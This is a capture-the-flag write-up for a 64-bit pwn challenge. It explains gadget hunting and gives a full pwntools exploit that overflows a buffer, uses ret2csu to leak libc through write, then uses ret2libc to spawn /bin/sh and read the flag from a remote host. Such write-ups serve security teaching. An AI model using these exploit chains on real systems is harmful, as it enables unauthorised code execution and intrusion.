Tags: pwn ret2csu ret2libc 

Rating: 4.5

Downloading the binary, we see its a 64 bit executable. Running it an annoying pop up flickers, and after a seemingly random amount of time, it asks whether we want to turn off the alarm. Whether you put yes or no, it ignores you. Looking at the decompilation, we can actually stop the program by entering `9`. Another thing that stands out is that `puts` is not used in the program.

That doesn't sound like an issue, but `puts` requires the control of one register (rdi=buffer to print), where as write requires control of three registers (rdi = file descriptor, rsi = buffer to print, rdx = number of bytes to write).

Let's go and get gadgets for these registers. Well that's an issue. We have no way to control the rdx register.

```bash
> ropper --file minimelfistic --search "pop rsi|pop rdi|pop rdx"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi|pop rdi|pop rdx

[INFO] File: minimelfistic
0x0000000000400a43: pop rdi; ret;
0x0000000000400a41: pop rsi; pop r15; ret;
```

This is a textbook scenario for the use of the ret2csu technique, also known as the universal gadget. . Essentially there is a section of every dynamically linked binary which contains 2 gadgets, allowing us to control rdi, rsi amd rdx.

We can do this by hand but pwntools can do simple method of this

```python
#!/usr/bin/env python3

from pwn import *

elf = ELF("./minimelfistic", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-2.27.so", checksec=False)

context.binary = elf
rop = ROP(elf)
#context.log_level = "debug"

gs = '''
continue
'''

def conn():
if args.REMOTE:
r = remote("68.183.40.128",31598)
else:
r = process([elf.path])
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
return r

p = conn()

# symbols
main = elf.sym.main
write_got = elf.got.write
write_plt = elf.plt.write

# gadgets
pop_rdi = 0x0000000000400a43
ret = 0x0000000000400616

# write leak with ret2csu
rop.raw(pop_rdi)
rop.raw(p64(1))
rop.ret2csu(1, elf.got.write, 8,1,1,1,1,1,1)
rop.raw(pop_rdi)
rop.raw(p64(1))
rop.call(elf.plt.write)
rop.call(elf.sym.main)

payload = flat({72:rop.chain()})

p.sendlineafter(b">", payload)
p.sendlineafter(b">", b"9")
p.recvline()
p.recvline()
p.recvline()

leak = u64(p.recv(6).ljust(8, b"\x00"))
info(f"Leaked libc @ {hex(leak)}")
libc.address = leak - libc.sym.write
success(f"Leaked Libc @ {hex(libc.address)}")

# now ret2libc
rop2 = ROP(libc)
binsh = next(libc.search(b"/bin/sh"))

rop2.raw(pop_rdi)
rop2.raw(binsh)
rop2.raw(libc.sym.system)

payload2 = flat({72:rop2.chain()})

p.sendlineafter(b">", payload2)
p.sendlineafter(b">", b"9")
pause(1)
p.sendline("cat flag.txt")
log.critical(f"{p.recvline_contains(b'HTB').decode()}")
```